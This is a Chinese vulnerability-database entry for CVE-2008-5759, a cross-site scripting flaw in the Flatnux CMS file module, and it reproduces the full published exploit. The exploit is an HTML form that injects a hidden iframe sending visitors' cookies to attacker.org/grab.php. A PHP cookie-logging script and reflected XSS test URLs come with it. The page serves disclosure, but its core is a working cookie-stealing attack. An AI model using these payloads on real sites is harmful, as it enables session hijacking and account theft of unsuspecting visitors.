Flatnux 'index.php' HTML 注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117029 漏洞类型 跨站脚本
发布时间 2008-12-14 更新时间 2009-01-06
CVE编号 CVE-2008-5759 CNNVD-ID CNNVD-200812-482
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/7461
https://www.securityfocus.com/bid/32826
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-482
|漏洞详情
FlatnuxCMS是一款不利用DBMS的内容管理系统。FlatnuXCMS(又称Flatnuke3)2008-12-11中存在跨站脚本攻击漏洞。远程攻击者可以借助对08_Files模块中的index.php的一个更新操作中的命名参数,注入任意web脚本或HTML。
|漏洞EXP
<!--
exploit flatnux grabber cookies visitor
site :http://www.speleoalex.altervista.org/flatnuke3/index.php
download:http://www.speleoalex.altervista.org/flatnuke3/index.php?mod=06_Download
author:gmda

Flatnux does not filter code html/javascript then you can injector in this way:

operation
1] register
2] make longin
3] use the HTML code below
-->
<html><head>
</head>
<body>
<form enctype="multipart/form-data" action="http://victim.org/flatnux/index.php?mod=08_Files&opmod=insertrecord" method="POST">
titolo*<input  size ="20"  style="visibility:hidden;" value="filex <iframe  width="0" height="0" style="visibility:hidden;" src="javascript:window.location=&apos;http://attacker.org/grab.php?cmd=&apos;+document.cookie;"></iframe>" name="name" type="text" /><br />
<textarea title="Inserisci qui la descrizione" cols="80"  rows="10"  name="description" style="visibility:hidden;" ></textarea><br />
Immagine<input  size="20" name="foto1" type="file" style="visibility:hidden;" /><br />
File<input  size="20" name="file" type="file" style="visibility:hidden;" /><br />
<input type="submit" value="Zic">
</form>
</body></html>
<!-- grab.php
<?php $data = $_GET['cmd'];
$date=date("j F, Y, g:i a");
$referer=$_SERVER['HTTP_REFERER'];
$fh = fopen("cookie.txt",'a+');
fwrite($fh, $referer . " / " . $data."\n".$date."\n");
fclose($fh);
?>
-->

<!-- xss variables mod foto

/sections/05_Foto/photo.php?mod=05_Foto&foto=>"><script>alert(69)%3B</script>&lang=it
/?mod=%3E%22%3E%3Cscript%3Ealert(69)%3B%3C/script%3E

-->

# milw0rm.com [2008-12-14]
|受影响的产品
Flatnux Flatnux 0
|参考资料

来源:XF
名称:flatnux-index-xss(47367)
链接:http://xforce.iss.net/xforce/xfdb/47367
来源:SECUNIA
名称:33175
链接:http://secunia.com/advisories/33175